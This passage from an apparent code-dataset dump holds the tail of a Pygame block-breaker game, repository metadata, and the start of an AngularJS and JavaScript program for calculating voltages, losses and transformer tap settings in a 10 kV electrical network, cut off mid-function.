ball_y_velocity up to a certain limit \r\n if event.key == pygame.K_UP and abs(ball_y_velocity) < 10:\r\n ball_y_velocity *= 1.5\r\n ball_x_velocity *= 1.1\r\n \r\n # if user presses down key, decrease ball_y_velocity down to a certain limit \r\n if event.key == pygame.K_DOWN and abs(ball_y_velocity) > 2:\r\n ball_y_velocity *= 0.5\r\n ball_x_velocity *= 0.7\r\n \r\n # if user presses q key, then quit game \r\n if event.key == pygame.K_q:\r\n pygame.quit()\r\n sys.exit()\r\n \r\n \r\n \r\n # if statment for ending game \r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n \r\n # Copy the bocks, ball and bar to the screen\r\n DISPLAYSURF.blit(bar, (barx, bary)) # copies bar to DISPLAYSURF\r\n DISPLAYSURF.blit(ball, (ballx, bally)) # copies ball to DISPLAYSURF\r\n DISPLAYSURF.blit(textSurfaceObj2, textRectObj2) # copies quit instruction to DISPLAYSURF\r\n for i in range (0, len(level_number.blockx)):\r\n DISPLAYSURF.blit(level_number.block[i], (level_number.blockx[i], level_number.blocky[i])) # copies blocks to DISPLAYSURF\r\n DISPLAYSURF.blit(level_number.sub_block[i], (level_number.blockx[i]+1, level_number.blocky[i]+1)) # copies sub-blocks to DISPLAYSURF # copies sub-blocks to DISPLAYSURF\r\n \r\n pygame.display.update() # makes display surfaces actually appear on monitor\r\n fpsClock.tick(FPS) # wait FPS number of frames before drawing the next frame\r\n \r\n \r\n\r\n\r\n\r\n"},"directory_id":{"kind":"string","value":"8b8cdcd2cdef21c3882222ce369ee1a903160bed"},"languages":{"kind":"list like","value":["Python"],"string":"[\n \"Python\"\n]"},"num_files":{"kind":"number","value":1,"string":"1"},"repo_language":{"kind":"string","value":"Python"},"repo_name":{"kind":"string","value":"RobertVallance/block_breaker_game"},"revision_id":{"kind":"string","value":"eecfe97b26e0dc194f0c441e3670adbcf18bfa00"},"snapshot_id":{"kind":"string","value":"56399edfd15c2cae1c7f60fc8bee5d31fd50e5cd"}}},{"rowIdx":122,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"'use strict';\n\nangular.module('energy', [\n 'ngRoute',\n 'energy.filters',\n 'energy.services',\n 'energy.directives',\n 'energy.controllers'\n ]).\n config(['$routeProvider', function ($routeProvider) {\n $routeProvider.when('/parameters', {templateUrl: 'partials/parameters.html', controller: 'Parameters'});\n $routeProvider.when('/nodes', {templateUrl: 'partials/nodes.html', controller: 'Nodes'});\n $routeProvider.when('/edges', {templateUrl: 'partials/edges.html', controller: 'Edges'});\n $routeProvider.when('/results', {templateUrl: 'partials/results.html', controller: 'Results'});\n $routeProvider.when('/regime', {templateUrl: 'partials/regime.html', controller: 'Regime'});\n $routeProvider.when('/branches', {templateUrl: 'partials/branches.html', controller: 'Branches'});\n $routeProvider.otherwise({redirectTo: '/nodes'});\n }])\n .run(function($location) {\n $location.path('/');\n });\n/*\n Energy Program\n (c) 2014 (http://mal.by)\n Develop for Belarusian National Technical University, Power Engineering faculty, Electrical Systems department\n License: MIT\n */\n\nfunction getEnergy() {\n var self = {};\n\n var nodes = [],\n edges = [],\n errors = [];\n\n self.SQRT3 = math.sqrt(3);\n\n self.results = {};\n self.storage = {};\n self.params = {\n Unom: 10,\n UnomDown: 0.38,\n SHN: {a0: 1, a1: 0, a2: 0, a3: 0, b0: 1, b1: 0, b2: 0, b3: 0},\n transformerInsensetive: 1.157,\n transformerRegimes: [{max:+5,min:0},{max:+10,min:+5},{max:+10,min:0},{max:0,min:-5},{max:0,min:0},{max:+5,min:+5}],\n transformerAdditions: {\"-5%\": 10.8, \"-2.5%\": 7.9, \"0%\": 5.26, \"+2.5%\": 2.63, \"+5%\": 0.26},\n voltageDown: {dUmax: 0, dUmin: 0},\n defaultRegime: {max: 0, min: 0},\n defaultBranches: [],\n temp: {}\n };\n\n self.getErrors = function () { return errors; };\n self.addError = function (text) {\n if (errors.indexOf(text) == -1) {\n errors.push(text);\n }\n };\n self.resetErrors = function () { errors = []; };\n\n self.clearResults = function() {\n self.results = {min: {}, max: {}};\n self.storage = {network: {max: {}, min: {}}};\n };\n\n self.transformers = [];\n self.transformerEmpty = {type:'',Uvn:0,Unn:0,Snom:0,Pxx:0,Pkz:0,Ukz:0,Ixx:0,Z:0,R:0,X:0,Sxx:0,Qxx:0,G:0,B:0};\n self.loadTransformers = function() {\n var file = 'data/transformers.csv';\n\n jQuery.get(file, function(data) {\n var rows, values, i, ii, item;\n\n rows = data.split(\"\\n\");\n for (i = 1, ii = rows.length; i < ii; ++i) {\n values = rows[i].replace(/,/g,'.').split(';');\n\n if (values.length > 7) {\n item = {\n type: values[0],\n Uvn: parseFloat(values[1]),\n Unn: parseFloat(values[2]),\n Snom: parseFloat(values[3]),\n Pxx: parseFloat(values[4]),\n Pkz: parseFloat(values[5]),\n Ukz: parseFloat(values[6]),\n Ixx: parseFloat(values[7])\n };\n\n item.Z = (item.Ukz * Math.pow(item.Uvn, 2) * 1000) / (item.Snom * 100);\n item.R = (item.Pkz * Math.pow(item.Uvn, 2) * 1000) / Math.pow(item.Snom, 2);\n item.X = Math.sqrt(Math.pow(item.Z, 2) - Math.pow(item.R, 2));\n item.Sxx = (item.Ixx * item.Snom) / 100;\n item.Qxx = Math.sqrt(Math.pow(item.Sxx, 2) - Math.pow(item.Pxx, 2));\n item.G = item.Pxx / Math.pow(item.Uvn, 2);\n item.B = item.Qxx / Math.pow(item.Uvn, 2);\n\n self.transformers.push(item);\n }\n }\n });\n };\n self.findTransformer = function(type) {\n for (var i = 0, ii = self.transformers.length; i < ii; ++i) {\n if (self.transformers[i].type == type) {\n return self.transformers[i];\n }\n }\n return self.transformerEmpty;\n };\n self.updateTransformer = function(node) {\n if (node) {\n var transformer = self.findTransformer(node.transformer);\n for (var key in transformer) {\n node[key] = transformer[key];\n }\n if (!node.transformer) {\n self.resetNodePowers(node);\n }\n } else {\n var nodes = self.getNodes();\n for (var i in nodes) {\n self.updateTransformer(nodes[i]);\n }\n }\n };\n\n\n self.cables = [];\n self.cableEmpty = {mark:'',R0:0,X0:0};\n self.loadCables = function() {\n var file = 'data/cables.csv';\n\n jQuery.get(file, function(data) {\n var rows, values, i, ii, item;\n\n rows = data.split(\"\\n\");\n for (i = 1, ii = rows.length; i < ii; ++i) {\n values = rows[i].replace(/,/g,'.').split(';');\n\n if (values.length > 2) {\n item = {\n mark: values[0],\n R0: parseFloat(values[1]),\n X0: parseFloat(values[2])\n };\n\n self.cables.push(item);\n }\n }\n });\n };\n self.findCable = function(mark) {\n for (var i = 0, ii = self.cables.length; i < ii; ++i) {\n if (self.cables[i].mark == mark) {\n return self.cables[i];\n }\n }\n return self.cableEmpty;\n };\n self.updateCable = function(edge) {\n if (edge) {\n var cable = self.findCable(edge.cable);\n if (cable.R0 > 0) edge.R = math.round(cable.R0 * parseFloat(edge.length), 6);\n if (cable.X0 > 0) edge.X = math.round(cable.X0 * parseFloat(edge.length), 6);\n } else {\n var edges = self.getEdges();\n for (var i in edges) {\n self.updateCable(edges[i]);\n }\n }\n };\n\n\n self.getNodes = function (withMain) {\n withMain = withMain === undefined ? true : withMain;\n if (withMain) {\n return nodes;\n } else {\n var result = [];\n for (var i = 0, ii = nodes.length; i < ii; ++i) {\n if (nodes[i].main === undefined || !nodes[i].main) {\n result.push(nodes[i]);\n }\n }\n return result;\n }\n };\n self.addNode = function (node) {\n var nodeDefault = {node: '', transformer: '', Pmax: 0, Qmax: 0, Pmin: 0, Qmin: 0, dUmax: 5, dUmin: 1.25, main: 0};\n nodes.push(node || nodeDefault);\n };\n self.removeNode = function (node) {\n for (var i in nodes) {\n if (nodes[i].node == node.node) {\n nodes.splice(i, 1);\n }\n }\n };\n self.validateNodes = function () {\n var node, valid = true, i, ii, j;\n\n if (nodes.length < 2) {\n self.addError('Слишком мало узлов в схеме сети.');\n valid = false;\n }\n for (i = 0, ii = nodes.length; i < ii; ++i) {\n for (j = i + 1; j < ii; ++j) {\n if (nodes[i].node == nodes[j].node) {\n nodes.splice(j, 1);\n }\n }\n\n node = nodes[i];\n\n if (!node.node) {\n self.addError('Не задано название у ' + (i+1) + '-го узла');\n valid = false;\n }\n\n if (node.main) {\n node.transformer = '';\n self.resetNodePowers(node);\n }\n\n var keys = ['Pmax', 'Qmax', 'Pmin', 'Qmin', 'dUmax', 'dUmin', 'Snom', 'Uvn', 'R', 'X'];\n for (j in keys) {\n if (node[keys[j]] !== undefined) {\n node[keys[j]] = parseFloat(node[keys[j]]);\n }\n }\n }\n return valid;\n };\n self.findNode = function (name) {\n for (var i in nodes) {\n if (nodes[i].node == name) {\n return nodes[i];\n }\n }\n return undefined;\n };\n self.resetNodePowers = function (node) {\n node.Pmax = 0; node.Qmax = 0;\n node.Pmin = 0; node.Qmin = 0;\n };\n self.getMainNode = function () {\n for (var i in nodes) {\n if (nodes[i].main) {\n return nodes[i];\n }\n }\n return undefined;\n };\n\n\n self.getEdges = function () {\n return edges;\n };\n self.addEdge = function (edge) {\n var edgeDefault = {start: '', finish: '', cable: '', length: 0, R: 0, X: 0};\n edges.push(edge || edgeDefault);\n };\n self.removeEdge = function (edge) {\n for (var i in edges) {\n if (edges[i] == edge) {\n edges.splice(i, 1);\n }\n }\n };\n self.validateEdges = function () {\n var edge, valid = true, i, ii, j;\n\n if (edges.length < 1) {\n self.addError('Слишком мало ветвей в схеме сети.');\n valid = false;\n }\n for (i = 0, ii = edges.length; i < ii; ++i) {\n edge = edges[i];\n\n if (!edge.start || !self.findNode(edge.start)) {\n valid = false;\n self.addError('Неверно задан начальный узел у ' + (i+1) + '-й ветви');\n }\n if (!edge.finish || !self.findNode(edge.finish)) {\n valid = false;\n self.addError('Неверно задан конечный узел у ' + (i+1) + '-й ветви');\n }\n\n var keys = ['R', 'X'];\n for (j in keys) {\n if (edge[keys[j]] !== undefined) {\n edge[keys[j]] = parseFloat(edge[keys[j]]);\n }\n }\n }\n return valid;\n };\n\n\n self.getResults = function (func, param) {\n switch (func) {\n case 'main':\n func = self.calcMain;\n param = null;\n break;\n case 'regime':\n func = self.calcRegime;\n break;\n case 'branches':\n func = self.calcRegimeBranches;\n break;\n }\n\n self.resetErrors();\n\n self.validateNodes();\n self.validateEdges();\n\n if (self.getErrors().length) { return {results: NaN, errors: self.getErrors()}; }\n\n var results = func(param);\n\n if (self.getErrors().length) { return {results: NaN, errors: self.getErrors()}; }\n\n return {results: results, errors: self.getErrors()};\n };\n\n\n /**\n * @param [resultModification] 0 || false - all matrix,\n * 1 || true - matrix without main node\n * -1 - matrix with only main node\n * @param [edges]\n * @returns {Array}\n */\n self.createMatricM = function (resultModification, edges) {\n edges = edges || self.getEdges();\n resultModification = resultModification === undefined ? true : resultModification;\n\n var matrix = [],\n nodes = self.getNodes(!(resultModification === true || resultModification > 0)),\n i, ii, j, jj;\n\n for (i = 0, ii = nodes.length; i < ii; ++i) {\n matrix[i] = [];\n for (j = 0, jj = edges.length; j < jj; ++j) {\n if (edges[j].start == nodes[i].node) {\n matrix[i][j] = +1;\n } else if (edges[j].finish == nodes[i].node) {\n matrix[i][j] = -1;\n } else {\n matrix[i][j] = 0;\n }\n }\n if (resultModification < 0 && nodes[i].main !== undefined && nodes[i].main) {\n matrix = matrix[i];\n break;\n }\n }\n\n return matrix;\n };\n\n self.setPowers = function (Imax, Imin, cosPhiMax, cosPhiMin) {\n var nodes = self.getNodes(false),\n Unom = self.params.Unom,\n i, ii;\n\n cosPhiMax = cosPhiMax || 0.9;\n Imax = Imax / 1000;\n Imin = Imin / 1000;\n\n var sumS = 0,\n Smax, Smin,\n phiMax = math.acos(cosPhiMax),\n phiMin = (!cosPhiMin && cosPhiMin !== 0) ? phiMax : math.acos(cosPhiMin);\n\n for (i = 0, ii = nodes.length; i < ii; ++i) {\n sumS += nodes[i].Snom + math.abs(math.complex(nodes[i].Pxx, nodes[i].Qxx));\n }\n\n for (i = 0, ii = nodes.length; i < ii; ++i) {\n Smax = math.complex({r: 1000 * self.SQRT3 * Imax * Unom * nodes[i].Snom / sumS, phi: phiMax});\n Smin = math.complex({r: 1000 * self.SQRT3 * Imin * Unom * nodes[i].Snom / sumS, phi: phiMin});\n if (math.abs(Smax) > nodes[i].Snom) {\n Smax = math.complex({r: nodes[i].Snom, phi: phiMax});\n }\n if (math.abs(Smin) > nodes[i].Snom) {\n Smin = math.complex({r: nodes[i].Snom, phi: phiMin});\n }\n nodes[i].Pmax = math.round(Smax.re, 3);\n nodes[i].Qmax = math.round(Smax.im, 3);\n nodes[i].Pmin = math.round(Smin.re, 3);\n nodes[i].Qmin = math.round(Smin.im, 3);\n }\n\n return self.getPowers();\n };\n\n self.getPowers = function (mode, voltage) {\n var nodes = self.getNodes(false),\n powers = {max: [], min: []};\n\n for (var i = 0, ii = nodes.length; i < ii; ++i) {\n powers.max.push(math.complex(nodes[i].Pmax / 1000, nodes[i].Qmax / 1000));\n powers.min.push(math.complex(nodes[i].Pmin / 1000, nodes[i].Qmin / 1000));\n }\n\n if (mode) {\n if (voltage !== undefined) {\n powers[mode] = self.useSHN(powers[mode], voltage);\n }\n return powers[mode];\n } else {\n return {\n max: powers['max'],\n min: powers['min']\n };\n }\n };\n\n self.getPowersMatrix = function(powers, matrixU) {\n return self.getPowersDown2Up(math.matrix(powers), matrixU);\n };\n\n self.getVoltageDown = function () {\n if (self.results.voltageDown !== undefined) {\n return self._clone(self.results.voltageDown);\n }\n\n var voltage = [],\n nodes = self.getNodes(false);\n\n for (var i = 0, ii = nodes.length; i < ii; ++i) {\n if (nodes[i].Snom > 0) {\n voltage.push({\n min: {\n min: -5 + nodes[i].dUmin,\n max: +5 + self.params.voltageDown.dUmin\n },\n max: {\n min: -5 + nodes[i].dUmax,\n max: +5 + self.params.voltageDown.dUmax\n }\n });\n } else {\n voltage.push(NaN);\n }\n }\n\n self.results.voltageDown = self._clone(voltage);\n\n return self._clone(voltage);\n };\n\n self.getDefaultsMatrixU = function () {\n return math.multiply(math.complex(self.params.Unom, 0), math.ones(self.getNodes(false).length));\n };\n\n self.getTransformersLoss = function (matrixS, matrixU) {\n var loss = {dU: [], dS: []},\n nodes = self.getNodes(false),\n node, S, U;\n\n matrixS = self._m2a(matrixS);\n matrixU = self._m2a(matrixU || self.getDefaultsMatrixU());\n\n for (var i = 0, ii = nodes.length; i < ii; ++i) {\n node = nodes[i]; S = matrixS[i]; U = math.abs(matrixU[i]);\n if (math.abs(S) > 0) {\n loss.dU.push((S.re * node.R + S.im * node.X) / U);\n loss.dS.push(math.complex({\n re: node.Pxx / 1000 + node.R * (math.pow(S.re, 2) + math.pow(S.im, 2)) / math.pow(U, 2),\n im: node.Qxx / 1000 + node.X * (math.pow(S.re, 2) + math.pow(S.im, 2)) / math.pow(U, 2)\n }));\n } else {\n loss.dU.push(0);\n loss.dS.push(math.complex(0,0));\n }\n }\n\n return loss;\n };\n\n self.getPowersDown2Up = function(matrixS, matrixU) {\n return math.add(matrixS, self.getTransformersLoss(matrixS, matrixU).dS);\n };\n\n self.getPowersUp2Down = function(matrixS, matrixU) {\n var powers = [],\n nodes = self.getNodes(false),\n a, b, c, d, e, f, g, h, x, y,\n i, ii;\n\n matrixU = matrixU || self.getDefaultsMatrixU();\n\n for (i = 0, ii = nodes.length; i < ii; ++i) {\n if (nodes[i].Snom > 0) {\n a = nodes[i].Pxx / 1000 - matrixS.get([i]).re;\n b = nodes[i].Qxx / 1000 - matrixS.get([i]).im;\n c = nodes[i].R / math.pow(math.abs(matrixU.get([i])), 2);\n d = nodes[i].X / math.pow(math.abs(matrixU.get([i])), 2);\n e = nodes[i].X / nodes[i].R;\n f = c*(e*e+1);\n g = 1+2*a*c*e*e;\n h = a+a*a*c*e*e;\n\n x = (math.sqrt(g*g-4*f*h)-g)/(2*f);\n y = e*x+e*a-b;\n\n powers.push(math.complex(x, y));\n } else {\n powers.push(math.complex(0,0));\n }\n }\n\n return math.matrix(powers);\n };\n\n self.getResists = function () {\n var edges = self.getEdges(),\n resists = [],\n i, ii;\n for (i = 0, ii = edges.length; i < ii; ++i) {\n resists.push(math.complex(edges[i].R, edges[i].X));\n }\n return resists;\n };\n\n self.useSHN = function (matrixS, matrixU, realValuesU) {\n var a0, a1, a2, a3,\n b0, b1, b2, b3,\n Unom = self.params.UnomDown,\n arrS, arrU, result = [];\n\n a0 = self.params.SHN.a0; a1 = self.params.SHN.a1; a2 = self.params.SHN.a2; a3 = self.params.SHN.a3;\n b0 = self.params.SHN.b0; b1 = self.params.SHN.b1; b2 = self.params.SHN.b2; b3 = self.params.SHN.b3;\n\n arrS = self._m2a(matrixS);\n arrU = self._m2a(matrixU.map(self._v));\n arrU = realValuesU ? math.divide(math.subtract(arrU, Unom), Unom) : math.divide(arrU, 100);\n\n for (var i = 0, ii = arrS.length; i < ii; ++i) {\n result[i] = math.complex({\n re: arrS[i].re * (a0 + a1 * arrU[i] + a2 * math.pow(arrU[i], 2) + a3 * math.pow(arrU[i], 3)),\n im: arrS[i].im * (b0 + b1 * arrU[i] + b2 * math.pow(arrU[i], 2) + b3 * math.pow(arrU[i], 3))\n });\n }\n\n return math.matrix(result);\n };\n\n self.calcNetwork = function (mode, coefUpercent, branches) {\n if (self.storage.network[mode][(coefUpercent || 0)] !== undefined && branches === undefined) {\n return self._clone(self.storage.network[mode][(coefUpercent || 0)]);\n }\n\n var funcIteration = function (Y, S, U, Ub, Yb) {\n var result = [], value;\n Y = Y.toArray();\n S = S.toArray();\n U = U.toArray();\n Yb = Yb.toArray();\n\n for (var i = 0, ii = Y.length; i < ii; ++i) {\n value = 0;\n value = math.subtract(value, math.multiply(Ub, Yb[i]));\n for (var j = 0, jj = Y[i].length; j < jj; ++j) {\n value = math.add(value, math.multiply(U[j], Y[i][j]));\n }\n value = math.subtract(value, math.divide(S[i], U[i]));\n result.push(value);\n }\n\n return math.matrix(result);\n };\n var funcDerivative = function (Y, S, U) {\n Y = Y.toArray();\n S = S.toArray();\n U = U.toArray();\n\n for (var i = 0, ii = Y.length; i < ii; ++i) {\n Y[i][i] = math.add(Y[i][i], math.divide(S[i], math.pow(U[i], 2)));\n }\n\n return math.matrix(Y);\n };\n var iteration = function(Y, S, U, Ub, Yb) {\n return math.multiply(math.inv(funcDerivative(Y, S, U)), funcIteration(Y, S, U, Ub, Yb));\n };\n var getMatrixYb = function (matrixYy) {\n var result = [];\n matrixYy = matrixYy.toArray();\n for (var i = 0, ii = matrixYy.length; i < ii; ++i) {\n result.push(math.sum(matrixYy[i]));\n }\n return math.matrix(result);\n };\n\n coefUpercent = coefUpercent || 0;\n var valueUnom = self.params.Unom,\n valueUmain = valueUnom * (1 + coefUpercent / 100),\n valueAccuracyMax = 0.000001,\n valueAccuracyI = valueAccuracyMax * 1000,\n valueAccuracyJ = valueAccuracyMax * 1000,\n result = {},\n defMatrixM, defMatrixMb, defMatrixS, defMatrixZ,\n matrixM, matrixMb,\n matrixZv, matrixYv, matrixYy, matrixYb,\n matrixUdiff, valueSgen,\n i, j, limitI = 25, limitJ = 25;\n\n defMatrixM = self.createMatricM();\n defMatrixMb = self.createMatricM(-1);\n defMatrixS = self.getPowers(mode);\n defMatrixZ = self.getResists();\n\n matrixM = math.matrix(defMatrixM);\n matrixMb = math.matrix(defMatrixMb);\n\n matrixZv = math.diag(defMatrixZ);\n matrixYv = math.inv(matrixZv);\n matrixYy = math.multiply(math.multiply(matrixM, matrixYv), math.transpose(matrixM));\n matrixYb = getMatrixYb(matrixYy);\n\n result.matrixSn = defMatrixS;\n result.matrixS = self.getPowersMatrix(result.matrixSn);\n result.valueUmain = math.complex({r: valueUmain, phi: math.sum(result.matrixSn).toPolar().phi});\n result.valueSgen = math.complex(0, 0);\n\n for (j = 0; j < limitJ && valueAccuracyJ > valueAccuracyMax; ++j) {\n result.matrixUy = math.multiply(math.ones(defMatrixS.length), result.valueUmain);\n result.matrixUyd = math.zeros(defMatrixS.length);\n valueAccuracyI = valueAccuracyMax * 1000;\n\n for (i = 0; i < limitI && valueAccuracyI > valueAccuracyMax; ++i) {\n matrixUdiff = iteration(matrixYy, math.unary(result.matrixS), result.matrixUy, result.valueUmain, matrixYb);\n result.matrixUyd = math.add(result.matrixUyd, matrixUdiff);\n result.matrixUy = math.subtract(result.valueUmain, result.matrixUyd);\n result.voltage = self.calcVoltage(result.matrixS, result.matrixUyd, result.matrixUy, result.valueUmain);\n result.voltageReal = self.getVoltageReal(result.voltage.delta, branches);\n result.matrixSn = self.getPowers(mode, result.voltageReal);\n result.matrixS = self.getPowersMatrix(result.matrixSn, math.add(math.multiply(result.voltageReal, valueUnom / 100), valueUnom));\n\n valueAccuracyI = math.max(math.abs(matrixUdiff));\n }\n\n valueSgen = result.valueSgen;\n\n result.valueSgen = math.unary(math.multiply(\n math.multiply(\n math.multiply(\n math.multiply(\n result.valueUmain,\n math.inv(matrixZv)\n ),\n math.transpose(matrixM)\n ),\n result.matrixUyd\n ).toArray(),\n matrixMb.toArray()\n ));\n\n result.valueUmain = math.complex({r: math.abs(result.valueUmain), phi: result.valueSgen.toPolar().phi});\n valueAccuracyJ = math.abs(math.divide(math.subtract(result.valueSgen, valueSgen), result.valueSgen));\n }\n\n if (i >= limitI || j >= limitJ) {\n self.addError('Итерационный процесс расчета расходится. Расчет невозможен.');\n return NaN;\n }\n\n result.matrixUvd = math.multiply(math.transpose(matrixM), result.matrixUyd);\n result.matrixIv = math.divide(math.multiply(math.inv(matrixZv), result.matrixUvd), self.SQRT3);\n result.matrixSvd = math.multiply(self.SQRT3, math.multiply(math.diag(result.matrixUvd), result.matrixIv));\n\n result.matrixUyp = math.multiply(100, math.divide(math.subtract(result.matrixUy.map(self._v), valueUnom), valueUnom));\n\n if (coefUpercent == 0 && branches === undefined) {\n self.results[mode].networkBase = self._clone(result);\n }\n if (branches === undefined) {\n self.storage.network[mode][(coefUpercent || 0)] = self._clone(result);\n }\n\n return self._clone(result);\n };\n\n self.calcVoltage = function (matrixS, matrixUyd, matrixUy, valueUmain) {\n var voltage = {}, voltageLoss = [],\n networkUyd, transformersLoss,\n Unom = self.params.Unom;\n\n networkUyd = self._m2a(matrixUyd.map(self._v));\n transformersLoss = self.getTransformersLoss(matrixS, matrixUy);\n\n for (var i = 0, ii = networkUyd.length; i < ii; ++i) {\n voltageLoss.push(networkUyd[i] + transformersLoss.dU[i]);\n }\n\n voltage.delta = math.multiply(math.subtract(math.abs(valueUmain) - Unom, voltageLoss), 100 / Unom);\n voltage.loss = voltageLoss;\n voltage.lossPercent = math.multiply(voltageLoss, 100 / Unom);\n\n return voltage;\n };\n\n self.getVoltageReal = function(voltage, branches) {\n if (branches) {\n var result = [];\n\n for (var i = 0, ii = voltage.length; i < ii; ++i) {\n if (branches[i]) {\n result.push(voltage[i] + self.params.transformerAdditions[branches[i]]);\n } else {\n result.push(voltage[i]);\n }\n }\n\n return result;\n } else {\n return voltage;\n }\n };\n\n\n self.func = {};\n\n self.func.setTransformAdditions = function (additions) {\n self.params.temp.transformerAdditions = additions || self.params.transformerAdditions;\n };\n\n self.func.getTransformAdditions = function () {\n return self.params.temp.transformerAdditions || self.params.transformerAdditions;\n };\n\n self.func.getLimits = function (voltageDown, regime) {\n var addUmax = regime && regime.max ? regime.max : 0,\n addUmin = regime && regime.min ? regime.min : 0;\n\n return {\n max: {\n max: voltageDown.max.max - self.params.transformerInsensetive - addUmax,\n min: voltageDown.max.min + self.params.transformerInsensetive - addUmax\n },\n min: {\n max: voltageDown.min.max - self.params.transformerInsensetive - addUmin,\n min: voltageDown.min.min + self.params.transformerInsensetive - addUmin\n }\n };\n };\n\n self.func.setBranchesConst = function (branches) {\n self.params.temp.constBranches = branches;\n };\n\n self.func.getBranchesConst = function (i) {\n if (i === undefined) {\n return self.params.temp.constBranches;\n } else if (self.params.temp.constBranches && self.params.temp.constBranches[i]) {\n return self.params.temp.constBranches[i];\n }\n return NaN;\n };\n\n self.func.getBranches = function (regime, voltageMax, voltageMin, force) {\n if (self.func.getBranchesConst()) {\n return self.func.checkBranches(regime, voltageMax, voltageMin, self.func.getBranchesConst());\n }\n\n var dUmax, dUmin,\n voltageDown = self.getVoltageDown(),\n transformerAdditions = self.func.getTransformAdditions(),\n limits,\n branches = [],\n allSet = true,\n j;\n\n if (!voltageMax || !voltageMin) {\n return NaN;\n }\n\n voltageMax = self._clone(voltageMax);\n voltageMin = self._clone(voltageMin);\n\n for (var i = 0, ii = voltageDown.length; i < ii; ++i) {\n if (voltageDown[i]) {\n limits = self.func.getLimits(voltageDown[i], regime);\n\n for (j in transformerAdditions) {\n dUmax = voltageMax[i] + transformerAdditions[j];\n dUmin = voltageMin[i] + transformerAdditions[j];\n if (dUmax > limits.max.min && dUmax < limits.max.max && dUmin > limits.min.min && dUmin < limits.min.max) {\n branches[i] = j;\n break;\n }\n }\n\n if (branches[i] === undefined) {\n allSet = false;\n }\n }\n }\n\n return force || (allSet && branches.length) ? branches : NaN;\n };\n\n self.func.checkBranches = function(regime, voltageMax, voltageMin, branches) {\n var dUmax, dUmin,\n voltageDown = self.getVoltageDown(),\n transformerAdditions = self.func.getTransformAdditions(),\n limits,\n result = true;\n\n if (!voltageMax || !voltageMin) {\n return false;\n }\n\n for (var i = 0, ii = voltageDown.length; i < ii; ++i) {\n if (voltageDown[i]) {\n limits = self.func.getLimits(voltageDown[i], regime);\n\n dUmax = voltageMax[i] + transformerAdditions[branches[i]];\n dUmin = voltageMin[i] + transformerAdditions[branches[i]];\n if (!(dUmax > limits.max.min && dUmax < limits.max.max && dUmin > limits.min.min && dUmin < limits.min.max)) {\n result = false;\n break;\n }\n }\n }\n\n return result ? branches : NaN;\n };\n\n self.func.compareBranches = function(branches1, branches2) {\n if (branches1.length != branches2.length) {\n return false;\n }\n for (var i = 0, ii = branches1.length; i < ii; ++i) {\n if (branches1[i] !== branches2[i]) {\n return false;\n }\n }\n return true;\n };\n\n\n self.calcBase = function () {\n var networkMax = self.calcNetwork('max'),\n networkMin = self.calcNetwork('min');\n\n return networkMax && networkMin;\n };\n\n self.calcMain = function (calcMaxMin, constBranches) {\n if (!self.calcBase()) {\n return NaN;\n }\n\n var results,\n regimes = self.params.transformerRegimes;\n\n calcMaxMin = calcMaxMin !== false;\n\n for (var i in regimes) {\n results = self.calcRegime(regimes[i], constBranches);\n if (results.regimes.main.regime) {\n break;\n }\n }\n\n if (!results.regimes.main.regime || calcMaxMin) {\n var regimesMaxMin = self.calcRegimesMaxMin();\n\n if (!results.regimes.main.regime && regimesMaxMin.max.regime && regimesMaxMin.min.regime) {\n var regime = {\n max: (regimesMaxMin.min.regime.max + regimesMaxMin.max.regime.max) / 2,\n min: (regimesMaxMin.min.regime.min + regimesMaxMin.max.regime.min) / 2\n };\n results = self.calcRegime(regime, constBranches);\n }\n\n results.regimes.max = regimesMaxMin.max;\n results.regimes.min = regimesMaxMin.min;\n\n if (!results.regimes.main.regime) {\n results.max.network = self._clone(self.results.max.networkBase);\n results.min.network = self._clone(self.results.min.networkBase);\n }\n\n self.results.regimes = results.regimes;\n }\n\n return results;\n };\n\n self.calcRegimesMaxMin = function() {\n if (!self.calcBase()) {\n return NaN;\n }\n\n var results = {max: NaN, min: NaN},\n regime,\n networkMax, networkMin,\n branches;\n\n regime = {max: -0.1, min: -0.1};\n mainWhile:\n while (regime.min < 7.45) {\n regime = {max: regime.min, min: regime.min + 0.1};\n networkMin = self.calcNetwork('min', math.round(regime.min));\n\n while (regime.max < 12.45) {\n regime = {max: regime.max + 0.1, min: regime.min};\n networkMax = self.calcNetwork('max', math.round(regime.max));\n\n branches = self.func.getBranches(\n {max: regime.max - math.round(regime.max), min: regime.min - math.round(regime.min)},\n networkMax.voltage.delta, networkMin.voltage.delta);\n if (branches) {\n if (!results.min.regime) {\n results.min = {regime: regime, branches: branches};\n }\n results.max = {regime: regime, branches: branches};\n } else if (results.max.regime) {\n break mainWhile;\n }\n }\n }\n\n return results;\n };\n\n self.calcRegime = function(regime, branches, _baseResults, _iteration) {\n if (!self.calcBase() || (_iteration = _iteration || 1) > 5) {\n return NaN\n }\n\n var results = {max: {}, min: {}},\n newBranches;\n\n regime = regime ? {max: regime.max || 0, min: regime.min || 0} : {max: 0, min: 0};\n\n results.max.network = self.calcNetwork('max', regime.max, branches);\n results.min.network = self.calcNetwork('min', regime.min, branches);\n\n if (!results.max.network || !results.min.network) {\n return NaN;\n }\n\n results.voltageDown = self.getVoltageDown();\n results.regimes = {main: {regime: NaN, branches: NaN}};\n\n newBranches = self.func.getBranches(null, results.max.network.voltage.delta, results.min.network.voltage.delta);\n\n if (newBranches) {\n if (branches === undefined || !self.func.compareBranches(branches, newBranches)) {\n return self.calcRegime(regime, newBranches, _baseResults || results, ++_iteration);\n }\n\n results.regimes.main = {regime: regime, branches: newBranches};\n return results;\n }\n\n return _baseResults || results;\n };\n\n self.calcRegimeBranches = function(branches) {\n if (!self.calcBase()) {\n return NaN;\n }\n\n self.func.setBranchesConst(branches);\n\n var results = self.calcRegime(null, branches);\n results.regimes.main.branches = branches;\n\n var resultsCalc = self.calcMain(false, branches);\n\n self.func.setBranchesConst(NaN);\n\n return resultsCalc.regimes.main.regime ? resultsCalc : results;\n };\n\n\n self._m2a = function (matrix) {\n if (matrix instanceof math.type.Matrix) {\n return matrix.toArray();\n } else {\n return matrix;\n }\n };\n\n self._v = function (value) {\n if (value instanceof math.type.Complex) {\n return math.abs(value);\n } else {\n return value;\n }\n };\n\n self._clone = function (obj) {\n return _.clone(obj); // use underscore.js\n\n // Handle the 3 simple types, and null or undefined\n if (null == obj || \"object\" != typeof obj) return obj;\n\n // Handle Date\n if (obj instanceof Date) {\n var copy = new Date();\n copy.setTime(obj.getTime());\n return copy;\n }\n\n // Handle Array\n if (obj instanceof Array) 